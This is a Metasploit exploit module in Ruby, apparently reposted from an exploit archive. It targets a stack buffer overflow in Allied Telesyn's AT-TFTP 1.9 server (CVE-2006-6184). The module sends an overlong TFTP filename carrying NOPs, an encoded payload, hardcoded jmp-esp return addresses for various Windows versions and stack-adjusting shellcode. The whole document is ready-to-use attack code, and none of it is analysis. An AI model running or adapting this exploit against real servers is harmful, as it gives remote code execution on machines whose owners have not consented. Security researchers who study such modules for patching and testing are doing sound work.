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Allied Telesyn TFTP Server 1.9 Long Filename Overflow
## # $Id: attftp_long_filename.rb 11882 2011-03-05 21:00:57Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a request (get/write) for an overly long file name. }, 'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ], 'Version' => '$Revision: 11882 $', 'References' => [ ['CVE', '2006-6184'], ['OSVDB', '11350'], ['BID', '21320'], ['URL','http://milw0rm.com/exploits/2887'], ['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd.exe'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 210, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24 [ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ], [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ], [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ], [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ], [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ], [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ], [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], [ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ], [ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert ], 'Privileged' => false, 'DisclosureDate' => 'Nov 27 2006')) register_options( [ Opt::RPORT(69), Opt::LHOST() # Required for stack offset ], self.class) end def exploit connect_udp sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length) sploit << payload.encoded sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it. sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn sploit << "\x00" + "netascii" + "\x00" udp_sock.put(sploit) disconnect_udp end end # 0day.today [2024-12-24] #